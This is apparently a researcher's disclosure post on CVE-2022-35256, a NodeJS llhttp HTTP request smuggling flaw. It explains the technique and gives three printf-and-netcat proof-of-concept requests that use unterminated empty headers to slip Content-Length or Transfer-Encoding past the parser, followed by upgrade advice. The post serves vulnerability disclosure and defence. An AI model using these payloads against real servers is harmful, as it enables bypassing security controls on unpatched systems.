Back in August, we were asked to develop POCs for a DNS rebinding attack and several HTTP request smuggling vulnerabilities listed in the July 2022 NodeJS security blog.

Our research into these bugs resulted in the discovery of a new HTTP request smuggling vulnerability affecting all versions of the NodeJS 18.x, 16.x, and 14.x releases lines.

Details on this vulnerability are available in the Sept 2022 NodeJS security blog.

HTTP Request Smuggling

HTTP request smuggling is a technique for manipulating how HTTP servers process HTTP requests.

The technique applies to situations where a front-end server receives an HTTP request and forwards it to one or more back-end servers. Normally, a client sends a request to the front-end server and is unable to interact with the back-end server directly. However, when the front-end server is vulnerable to request smuggling it will forward malformed HTTP requests to the back-end server and the back-end server may process the request in an unsafe manner, interpreting it as two or more distinct requests originating from the front-end server.

The technique involves changing the Content-Length and Transfer-Encoding headers in an HTTP request such that the front-end and back-end servers disagree on how and where an HTTP request is delimited.

This has serious security implications as HTTP request smuggling attacks may allow an attacker to bypass security controls on the target server.

llhttp

The NodeJS standard library includes an HTTP module aptly named http. This module includes an HTTP parsing library named llhttp. It does things like parse headers in an HTTP request, and identify where contiguous HTTP requests within a TCP packet are delimited.

It’s widely used as NodeJS accounts for approximately 2.1% of all known web servers, or roughly a few hundred thousand devices.

In July 2022, several HTTP request smuggling vulnerabilities were discovered in llhttp including CVE-2022-32213, CVE-2022-32214, and CVE-2022-32215.

The latest vulnerability, CVE-2022-35256, builds on the findings of the July security release.

CVE-2022-35256

The llhttp parser in the NodeJS does not correctly handle header fields that aren’t terminated with CLRF.

This vulnerability relates to the handling of header fields immediately preceding a header such as Transfer-Encoding. When the preceding header is not properly terminated with a CLRF - and when the value is empty - node will accept the Transfer-Encoding header (or most other headers such as Content-Length). This malformed request should be rejected by the HTTP server. If it is not rejected, it may be used for HTTP request smuggling.

Let’s look at some examples.

The following request is rejected because the X-header is not CLRF terminated, and therefore may not be properly parsed.

1
2
3
4
5
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:X\nContent-Length: 4\r\n"\
"AAAA\r\n"
"\r\n" | nc localhost 5000

The server accepts the request when the X-header doesn’t contain a value and isn’t CLRF terminated. We can use this to hide a second HTTP request in the body of this encapsulating request and it will be interpreted as a second request originating from the front-end server. Not good.

1
2
3
4
5
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:\nContent-Length: 4\r\n"\
"AAAA\r\n"
"\r\n" | nc localhost 5000

What’s interesting is that we can do this with most headers, including Transfer-Encoding shown below.

1
2
3
4
5
6
7
8
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:\nTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1"\
"A"\
"0"\
"\r\n" | nc localhost 5000

Mitigation

This vulnerability affects all versions of the NodeJS 18.x, 16.x, and 14.x releases lines.

To prevent exploitation, NodeJS currently recommends upgrading to the latest version of their release line.